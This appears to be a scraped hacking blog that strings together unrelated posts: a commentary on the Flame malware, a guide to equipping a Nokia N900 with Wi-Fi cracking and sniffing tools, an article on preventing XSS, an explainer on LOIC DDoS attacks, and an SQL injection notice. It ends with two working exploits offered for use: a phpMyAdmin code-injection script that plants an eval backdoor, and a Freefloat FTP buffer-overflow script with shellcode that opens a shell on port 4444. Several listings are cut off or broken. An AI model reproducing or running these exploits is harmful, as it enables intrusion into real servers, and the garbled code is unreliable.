Move over Stuxnet, Say Hello to the new Cyberweapon: “Flame”

(Screenshot of Iran CERT warning for “Flame” Malware)

Yesterday Iran’s Computer Emergency Response Team released a warning about a new modular malware that resembled Stuxnet and Duqu. Dubbed “Flame”, the new cyberweapon is causing quite a stir in the media with it’s “advanced features and complexity”.

But looking at the malware’s features disclosed by Iran’s CERT team, it doesn’t seem very game stopping:

  • Distribution via removable medias
  • Distribution through local networks
  • Network sniffing, detecting network resources and collecting lists of vulnerable passwords
  • Scanning the disk of infected system looking for specific extensions and contents
  • Creating series of user’s screen captures when some specific processes or windows are active
  • Using the infected system’s attached microphone to record the environment sounds
  • Transferring saved data to control servers
  • Using more than 10 domains as C&C servers
  • Establishment of secure connection with C&C servers through SSH and HTTPS protocols
  • Bypassing tens of known antiviruses, anti malware and other security software
  • Capable of infecting Windows Xp, Vista and 7 operating systems
  • Infecting large scale local networks

All of these “threats” have been seen before. I especially liked the “bypassing tens of known anti-viruses…” line.

But there are several features that do set “Flame” apart from the pack. First of all the malware is very large, a whopping 20MB. Also, it contains several files and seems to be able to attack using swappable modules. But there is more.

According to an article on The Register, Flame has the following features:

  • It has been active for at least 2 years, but possibly 5-8 years
  • Contains exploits for known and fixed vulnerabilities
  • Uses open source libraries
  • Uses a SQLlite database
  • Uses some Scripts written in Lua (of Angry Birds fame)

All the big name security companies that have analyzed it seem to agree that with it’s complexity, it was most likely written by a Nation State and not individuals or small groups.

The malware could have been created by Israel (and possibly the US) as many of the countries that have detected infection would be logical targets for them.

As according to Symantec:

Initial telemetry indicates that the targets of this threat are located primarily in Palestinian West Bank, Hungary, Iran, and Lebanon. Other targets include Russia, Austria, Hong Kong, and the United Arab Emirates. The industry sectors or affiliations of individuals targeted are currently unclear.”

I am not sure of it’s “CyberWeapon” title, as it seems to be an information gatherer. Definitely worth keeping an eye on, but as with “APT” and “Stuxnet”, I am sure the media will beat this topic to death.


p/s: Credit to

Nokia N900 is a pentest device

The Nokia N900 has a lot of pentesting potential thanks to the numerous pentest software that has been ported to Maemo. Today I will be doing a guide on how to fully equip your N900 so that it becomes a must-have device for every pentester. Everything that your going to read is for testing only, you should NOT use it on computers you don’t own. Anything you do with this software is your own fault. You have been warned.

Before continuing you should first enable the extras-devel repository on your phone – go to Application Manager and Add this catalogue:

 Catalogue name: Extras-Devel
 Web address:
 Distribution: fremantle
 Components: free non-free

To begin with, I will start with aircrack-ng. It is one of the most popular pentesting programs out there and it serves the purpose of breaking wep/wpa/wpa2 keys and gaining access to a wireless network. To get it, you need to follow these instructions:

apt-get install aircrack-ng

However, so far you will not be able perform packet injection, which will slow down WEP cracking and will make wpa handshake capture much harder. So next thing to do is go tolxp’s blog and get the patched wireless driver and carefully follow the instructions. If you find the driver useful donate at his blog! It adds much more than just packet injection, but you can read all about that on his blog.

As of May,2011 you can now install successfully mdk3, genpmk and cowpatty. You need to have updated your aircrack-ng to version 1.1. To install them follow this post. You can further install wessid-ng ,kiptun and airolib by placing them in /usr/bin and chmod them.

A great addition to aircrack-ng are one of the two available GUI’s. If you are a Backtrack user, you have most probably gotten used to GrimWepa. Luckily for you, a N900 version exists. Here is the actual file. To install it follow these instructions:

apt-get install libgif4

apt-get install icedtea6

java -jar grimwepa-n900.jar

However, I personally don’t like how it works on the N900 and I prefer wifite v2. To install it,use :

– wget

– chmod +x

– ./

The biggest change from version 1 is support for “reaver”, a Wifi-Protected Setup (WPS) attack tool. Reaver can compromise the PIN and PSK for many routers that have WPS enabled, usually within hours.

Other changes include a complete code re-write with bug fixes and added stability. Due to problems with the Python Tkinter suite, the GUI has been left out of this latest version. Most of the new router now got WPS. For example,the default configuration in UniFi router- Dlink Dir-615 – got WPS enabled. Instead of attacking WPA key,wifite attack WPS pin. And have tested using wifite v2, i can crack wpa password without using WPA dictionary. Wifite v2 use pyrit + cowpatty to attacking WPA key.

And for your info wifite just for LINUX, not working in windows or mac…so put yourself with LINUX.

Next thing on the list is getting nmap – apt-get install nmap – easy as that. Quite a useful ip/port scanner that is needed for many exploits. You can run it from terminal by typing ‘nmap’.

My favorite tool of them all is ettercap-ng. It is used to poison a network, redirect traffic,sniff packets and even for DoS attacks. Installing it is a bit harder,but thanks to colin.stephane, who build it into deb packages, it is quite easy if you follow the commands. The files and instructions can be found in this post.

If you want to get the gui working you should also do “dpkg -i ettercap-gtk_0.7.3-1.2.armel.deb”. DO NOT install it via xterm from the repositories as the package uploaded there is completely broken.

A great tool combination for ettercap is sslstrip – it basically turns https links to http and allows you to steal passwords from secured sites.It is quite hard to notice even for a person thats familiar with this exploit. Installation here is a bit harder. First you need to get python-twisted-web and iptables – “apt-get install python-twisted-web iptables python-pyopenssl”. Next you need to download the latest sslstrip package at . Unpack it with “tar zxvf sslstrip-0.x.tar.gz”, then cd into that directory “cd sslstrip-0.x” and do a “python build” & “python install”. If you get any dependency errors, install the missing packages first (sometimes you will have to install a different package – for example if you are missing package ABC you will have to type in the Xterminal “apt-get install python-ABC”, not just “apt-get install ABC”.) If you have any issues with installing make a comment and I will try to help you.

Another cool program that you can get is Wireshark – “apt-get install Wireshark”. It can be used for packet sniffing or for examining files created by ettercap for example. The gui is a bit messed up,but it is useable.

The famous metasploit framework can also be run on the N900 and the instructions + the actual file can be found HERE. Everything works flawlessly and I have successfully exploited my Virtual Machine’s Windows XP through the phone. However, some people have had issues with the official metasploit installation guide – so here is a second one with optified ruby packages : .

The Online password cracker tool – THC-Hydra. Ported by SuperDumb. To download Install by doing a dpkg -i hydra_6.3-src-1_armel.deb.

That is it for today. If you have any issues/recommendations please make a comment.

Cross-site scripting

Most Web sites today add dynamic content to a Web page making the experience for the user more enjoyable. Dynamic content is content generated by some server process, which when delivered can behave and display differently to the user depending upon their settings and needs. Dynamic Web sites have a threat that static Web sites don’t, called “cross-site scripting,” also known as “XSS.”

“A Web page contains both text and HTML markup that is generated by the server and interpreted by the client browser. Web sites that generate only static pages are able to have full control over how the browser user interprets these pages. Web sites that generate dynamic pages do not have complete control over how their outputs are interpreted by the client. The heart of the issue is that if untrusted content can be introduced into a dynamic page, neither the Web sites nor the client has enough information to recognize that this has happened and take protective actions,” according to CERT Coordination Center, a federally funded research and development center to study Internet security vulnerabilities and provide incident response.

Cross-site scripting is gaining popularity among attackers as an easy exposure to find in Web sites. Every month cross-site scripting attacks are found in commercial sites and advisories are published explaining the threat. Left unattended, your Web site’s ability to operate securely, as well as your company’s reputation, may become victim of the attacks.

This article is written to raise the awareness of this emerging threat and to present a solution implementation for Web applications to avoid this kind of attack.

The threats of cross-site scripting

Cross-site scripting poses server application risks that include, but are not limited to, the following:

  • Users can unknowingly execute malicious scripts when viewing dynamically generated pages based on content provided by an attacker.
  • An attacker can take over the user session before the user’s session cookie expires.
  • An attacker can connect users to a malicious server of the attacker’s choice.
  • An attacker who can convince a user to access a URL supplied by the attacker could cause script or HTML of the attacker’s choice to be executed in the user’s browser. Using this technique, an attacker can take actions with the privileges of the user who accessed the URL, such as issuing queries on the underlying SQL databases and viewing the results and to exploit the known faulty implementations on the target system.

Launching an attack

After an application on a Web site is known to be vulnerable to cross-site scripting, an attacker can formulate an attack. The technique most often used by attackers is to inject JavaScript, VBScript, ActiveX, HTML, or Flash for execution on a victim’s system with the victim’s privileges. Once an attack is activated, everything from account hijacking, changing of user settings, cookie theft and poisoning, or false advertising is possible.

Sample attack scenarios

The following scenario diagrams illustrate some of the more relevant attacks. We will not, however, be able to list all variants of the vulnerability. To learn more about the documented attacks and how to protect yourself as a vendor or as a user, see theResources section.

Scripting via a malicious link

In this scenario, the attacker sends a specially crafted e-mail message to a victim containing malicious link scripting such as one shown below:

<A HREF=<SCRIPT>malicious code</SCRIPT>>Click here</A>

When an unsuspecting user clicks on this link, the URL is sent to including the malicious code. If the legitimate server sends a page back to the user including the value of clientprofile, the malicious code will be executed on the client Web browser as shown in Figure 1.
Figure 1. Attack via e-mail
Caption for figure 2

Stealing users’ cookies

If any part of the Web site uses cookies, then it may be possible to steal them from its users. In this scenario, the attacker files a page with malicious script to the part of the site that is vulnerable. When the page is displayed, the malicious script runs, collects the users’ cookies, and sends a request to the attacker’s Web site with the cookies gathered. Using this technique, the attacker can gain sensitive data such as passwords, credit card numbers, and any arbitrary information the user inputs as shown in Figure 2.
Figure 2. Cookie theft and account hijacking
Cookie theft and account hijacking

Sending an unauthorized request

In this scenario, the user unknowingly executes scripts written by an attacker when they follow a malicious link in a mail message. Because the malicious scripts are executed in a context that appears to have originated from the legitimate server, the attacker has full access to the document retrieved and may send data contained in the page back to their site.
If the embedded script code has additional interactions capability with the legitimate server without alerting the victim, the attacker could develop and exploit that posted data to a different page on the legitimate Web server as shown in Figure 3.
Figure 3. Sending an unauthorized request
Sending an unauthorized request

Avoiding an attack

As stated above, cross-site scripting is achieved when an attacker is able to cause a legitimate Web server to send a page to a victim user’s Web browser that contains a malicious script of the attacker’s choosing. The attacker then has the malicious script run with the privileges of a legitimate script originating from the legitimate Web server.

Now that we know the basis of an attack, what can we do to protect ourselves from this vulnerability?

Web site developers can protect their sites from being abused in conjunction with these attacks by ensuring that dynamically generated pages do not contained undesired tags.

From the Web user’s perspective, two options exist to reduce the risk of being attacked through this vulnerability. The first — disabling scripting languages in the Web browser as well as the HTML-enabled e-mail client — provides the most protection but has the side effect of disabling functionality. The second — only following links from the main Web site for viewing — will significantly reduce a user’s exposure while still maintaining functionality.

However, none of the solutions that Web users can take are complete solutions. In the end, it is up to Web page developers to modify their pages to eliminate these types of problems. This can be accomplished by properly filtering and validating the input received and properly encoding or filtering the output returned to the user.


The basis of this approach is never trust user input and always filter metacharacters (“special” characters) that are defined in the HTML specification. Each input field, including link parameters will be validated for script tags. When found and dependent on the context, the input will be rejected and thus prevent the malicious HTML from being presented to the user.

Adding to the complexity is that many Web browsers try to correct common errors in HTML. As a result, they sometimes treat characters as special when, according to the specification, they are not. Therefore, it is important to note that individual situations may warrant including additional characters in the list of special characters. Web developers must examine their applications and determine which characters can affect their web applications.

Filtering on the input side is less effective because dynamic content can be entered into a Web site database via methods other than HTTP. In this case, the Web server may never see the data as part of the data input process and the data elements still remain tainted. Alternatively, it is recommended that filtering be done as part of the data output process, just before it is rendered as part of the dynamic page. Done correctly, this approach ensures that all dynamic content is filtered.


Cross-site scripting attacks can be avoided when a Web server adequately ensures that generated pages are properly encoded to prevent unintended execution of scripts.

Each character in the ISO-8859-1 specification can be encoded using its numeric entry value. Server side encoding is a process where all dynamic content will go through an encoding function where scripting tags will be replaced with codes in the chosen character set.

Generally speaking, encoding is recommended because it does not require you to make a decision about what characters could legitimately be entered and need to be passed through. Unfortunately, encoding all untrusted data can be resource intensive and may have a performance impact on some Web servers.

Which strategy is right for me?

CGI-based Web applications or applications that favor field edit check at the browser will likely adapt to the filtering strategy by extending the existing field edit check to cover the cross-site scripting vulnerability. Note that although browser side field edit check saves a few runs back to the server, it only works for the honest user and requires thorough code walkthroughs to guarantee that all input fields are checked in order to meet the remediation recommendation. Web applications with server side validation designed-in, however, can have a choice to adapt to either or both strategies.

For the filtering strategy to work properly, Web developers need to ensure that the list of metacharacters for filtering is up-to-date according to the needs of their applications. The encoding strategy, on the other hand, does not have the above-described maintenance effort, and it also has less impact on the existing application code as well as on application functionality. For these reasons, the encoding strategy appears to be a favorite choice of implementation. A sample encoding implementation is described next.

The 1-2-3 of a sample encoding

A simple, yet effective, way for a Web server to ensure that the generated pages are properly encoded is to pass each character in the dynamic content through an encoding function where the scripting tags in the dynamic content are replaced with codes in the chosen character set. This task is perfect for a custom tag library.

Custom tag library basics

A custom tag library is comprised of one or more Java language classes (called tag handlers) and an XML tag library description file (TLD), which dictates the new tag names and valid attributes for those tags. Tag handlers and TLDs determine how the tags, their attributes, and their bodies will be interpreted and processed at request time from inside a JSP page. A custom tag library provides an architecture that is more flexible than a Java bean at encapsulating a complex operation.

Our “custom” fitted tag library

What better name is there for our custom tag library besides naming it XSS? Tag libraries are software components that are plugged into a servlet container. The servlet container creates tag handlers, initializes them and calls the doStartTag(),doEndTag() and release() methods, in that order.

Through these interactions, our XSS custom tag library will be able to apply the “custom” action of encoding the dynamic data found on a JSP page. Implementing custom tags is straightforward and the steps are as follows:

  • Create a tag library descriptor (.tld) describing the tags.
  • Add a taglib directive to JSP files that use the tags.
  • Implement a tag handler that extends TagSupport and overrides the doStartTag() or the doEndTag() methods.

TLD (tag library descriptor)

A tag library descriptor is an XML file whose elements describe a particular tag library. The tld file for our XSS custom tag library, is shown in Listing 1. The tag element defines the encode action, including an attribute, property. The tagclass element defines the tag handler class EncodeTag.
Listing 1. The xss.tld file

<?xml version="1.0" encoding="UTF-8"?>
 DOCTYPE taglib
   PUBLIC "-//Sun Microsystems, Inc.//DTD JSP Tag Library 1.1//EN"


The taglib directive

The taglib directive identifies the tag library descriptor and defines the tag prefix that associates subsequent tags with the library. A sample taglib directive, which appears in the JSP using the XSS custom tag library, is shown below:

   <%@ taglib uri="/WEB-INF/tlds/xss.tld" prefix="xss" %>

Coding the tag handler

A tag handler is an object in the Web container that helps evaluate actions when a JSP page executes. The EncodeTag class is the tag handler for the encode action. Its doStartTag method, which encodes the dynamic content to the ISO-8859-1 character set, is shown in Listing 2.
Listing 2. Encoding the dynamic content

 public int doStartTag() throws JspException {

     StringBuffer sbuf = new StringBuffer();

     char[] chars = property.toCharArray();
     for (int i = 0; i < chars.length; i++) {
          sbuf.append("&#" + (int) chars[i]);

     } catch (IOException ex) {
          throw new JspException(ex.getMessage());

     return SKIP_BODY;


The XSS custom tag library, which is part of a Web application, is packaged as additional files into the Web application’s WAR file as follows:

  • WEB-INF/lib/encodetaglib.jar
  • WEB-INF/tlds/xss.tld

Putting it to work

The following scenario illustrates how the custom tag library would be used. Suppose that a hypothetical Web site for receiving articles included a page for reviewing articles that you have subscribed-to. The dynamic content, article items intended for you, is prepared inside a JSP file using the <%= expression %> syntax.

Let us assume an attacker succeeded in filling a page containing malicious script to the Web site for the subscribed members. The effect of this successful attack, which when executed on the user browser will cause a popup window to be displayed, is demonstrated in Figure 4.
Figure 4. Before encoding
Before encoding

In the next scenario, the hypothetical Web site ensures that the generated pages are properly encoded by using the XSS custom tag library and is able to protect itself from the attack. The untrusted data is preserved for visual appearance in the browser as shown in Figure 5.
Figure 5. After encoding
After encoding


In this article, we discussed how attackers use cross-site scripting as a technique to launch attacks against Web sites. We have also demonstrated that the majority of the attacks can be eliminated when a Web site uses a simple custom tag library to properly encode the dynamic content. Use the XSS custom tag library as-is or, better yet, change it to fit your Web application needs and become protected from this emerging threat.


Low Orbit Ion Cannon —>>”LOIC”

What Is LOIC?

LOIC (“Low Orbit Ion Cannon”) is an application developed by 4Chan-affiliated hackers designed to—when used en masse by thousands of anonymous users—launch Distributed Denial of Service (DDoS) attacks on websites. Like and, for instance.
It’s a pushbutton application…

The idea behind LOIC is that it can allow you to participate in attacks even if you’ve no clue how to hack. Just download a copy of LOIC (available for Windows, Mac, and Linux!), punch in the target information like a URL or an IP address and zap.
…that can be controlled by a central user…

The Windows version of LOIC has a “Hivemind” feature that lets you point your copy at an TCP, UDP, or HTTP, allowing someone else—say, the Anon Admins behind Operation Payback, the campaign that is currently striking out against Visa, Mastercard, and other financial organizations in retaliation for their decision to stop doing business with Wikileaks—to control at what site all connected LOIC clients are aimed. And because it takes thousands of LOICs all pointed at a single site to make a real impact, letting a central administrator press the big button of website destruction makes the whole network more effective.

Giving hackers control of your computer by choice? Sounds dangerous. But because the LOIC client is open source, the chances that a virus or backdoor into a user’s own system could be a hidden payload is minimal.
…to launch a flood of killer internet packets…

LOIC basically turns your computer’s network connection into a firehose of garbage requests, directed towards a target web server. On its own, one computer rarely generates enough TCP, UDP, or HTTP requests at once to overwhelm a web server—garbage requests can easily ignored while legit requests for web pages are responded to as normal.

But when thousands of users run LOIC at once, the wave of requests become overwhelming, often shutting a web server (or one of its connected machines, like a database server) down completely, or preventing legitimate requests from being answered.
…with little risk to the user.

Because a DDoS knocks everything offline—at least when it works as intended—the log files that would normally record each incoming connection typically just don’t work. And even if they do, many LOIC users claim that another user was on their network or that their machine was part of a bot net—a DDoS client delivered by virus that performs like a hivemind LOIC, minus the computer owner actually knowing they are participating.

Low Orbit Ion Cannon

Realty Listing System sql Injection Vulnerability

Exploit In File


Demo Site



http://target/[path]/detail.php?id=1 Injection Here
http://target/[path]/preview.php?id=1 Injection Here

Remote Code Injection

 i tried to share what i known for who interested...USE RESPONSIBLY.

<?php echo php_sapi_name()!=='cli'?'</pre>':'';

        output("   Usage\n    ".$argv[0]."");
    $pmaurl = $argv[1];
    $pmaurl = isset($_REQUEST['url'])?$_REQUEST['url']:'';
$code   = 'foreach($_GET as $k=>$v)if($k==="eval")eval($v);';
$cookie = null;
$token  = null;
    output('[!] Fatal error. Need cURL!');
$ch     = curl_init();
$debug  = 0;
<form method=post>
URL: <input name=url value="<?php echo htmlspecialchars($pmaurl);?>"> Example: http://localhost:8080/phpMyAdmin-<br/>
<input name=submit type=submit value=♥>

output("[i] Running...");

// Start a session and get a token
curl_setopt_array($ch, array(
    CURLOPT_URL => $pmaurl.'/setup/index.php',
output("[*] Contacting server to retrive session cookie and token.");

$result = curl_exec($ch);
if(404 == curl_getinfo($ch, CURLINFO_HTTP_CODE)){
    output("[!] Fail. $pmaurl/setup/index.php returned 404. The host is not vulnerable or there is a problem with the supplied url.");
    output("[!] cURL error:".curl_error($ch));
if(false !== strpos($result, 'Cannot load or save configuration')){
    output("[!] Fail. Host not vulnerable. Web server writable folder $pmaurl/config/ does not exsist.");

// Extract cookie
preg_match('/phpMyAdmin=([^;]+)/', $result, $matches);
$cookie = $matches[1];
output("[i] Cookie:".$cookie);
// Extract token
preg_match('/(token=|token" value=")([0-9a-f]{32})/', $result, $matches);
$token = $matches[2];
output("[i] Token:".$token);

// Poison _SESSION variable
curl_setopt($ch, CURLOPT_URL, $pmaurl.'/?_SESSION[ConfigFile][Servers][*/'.urlencode($code).'/*][port]=0&session_to_unset=x&token='.$token);
curl_setopt($ch, CURLOPT_COOKIE, 'phpMyAdmin='.$cookie);
output("[*] Contacting server to inject code into the _SESSION[ConfigFile][Servers] array.");
if(!$result = curl_exec($ch)){
    output("[!] cURL error:".curl_error($ch));

//echo htmlspecialchars($result,ENT_QUOTES);

// Save file
curl_setopt($ch, CURLOPT_URL, $pmaurl.'/setup/config.php');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, 'submit_save=Save&token='.$token);
output("[*] Contacting server to make it save the injected code to a file.");
if(!$result = curl_exec($ch)){
    output("[!] cURL error:".curl_error($ch));

//echo htmlspecialchars($result,ENT_QUOTES);

curl_setopt($ch, CURLOPT_URL, $pmaurl.'/config/;');
curl_setopt($ch, CURLOPT_POST, 0);
output("[*] Contacting server to test if the injected code executes.");
if(!$result = curl_exec($ch)){
    output("[!] cURL error:".curl_error($ch));
if(preg_match('/202cb962ac59075b964b07152d234b70/', $result)){
    output("[!] Code injection successfull. This instance of phpMyAdmin is vulnerable!");
    output("[+] Use your browser to execute PHP code like this $pmaurl/config/'test';");
    output("[!] Code injection failed. This instance of phpMyAdmin does not apear to be vulnerable.");


function output($msg){
    echo php_sapi_name()!=='cli'?htmlspecialchars("$msg\n",ENT_QUOTES):"$msg\n";

function killme(){
    output("[*] Exiting...");
    echo php_sapi_name()!=='cli'?'<pre>':'';

echo php_sapi_name()!=='cli'?'<pre>':'';?>

Freefloat FTP [LIST] Buffer Overflow Exploit

Credit to underground Team @ inj3ctor… we juz do what we thing right to do in virtual world..~~



from struct import pack
import socket,sys
import os

print " ||=============================================================||"
print " ||                                                             ||"
print " ||      /      \    0-Exploit (Zer0 Thunder)                   ||"
print " ||   \  \  ,,  /  /--------------------------------------------||"
print " ||    '-.`\()/`.-'          ===========================        ||"
print " ||   .--_'(  )'_--.Freefloat FTP [LIST] Buffer Overflow Exploit||"
print " ||  / /` /`**`\ `\ \        ----pwn the shell----              ||"
print " ||   |  |  ><  |  |                                            ||"
print " ||   \  \      /  /                                            ||"
print " ||       '.__.'                                                ||"
print " ||                                                             ||"
print " ||=============================================================||"

if len(sys.argv) != 3:
    print "Usage: ./ [IP] [PORT]"

target = sys.argv[1]
port = int(sys.argv[2])

junk = "\x41" * 246
add = pack('<L',0x77c35459)
nops = "\x90" * 20
shell= ("\x33\xc9\x83\xe9\xaa\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e"
payload = junk+add+nops+shell

print "[+] Connecting to Target " + target + "..."
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    connect=s.connect((target, port))
    print "[+] Target FTP Connected!"
    print "[!] FTP didn't respond\n"


s.send('USER anonymous\r\n')
s.send('PASS anonymous\r\n')
print "[+] Sending payload..."
s.send('LIST ' + payload + '\r\n')

print "[!] Exploit has been sent!. Please try telnet [target ip] 4444\n"

    print "[!] Exploit failed !."

    print "[+] Pwned the shell !"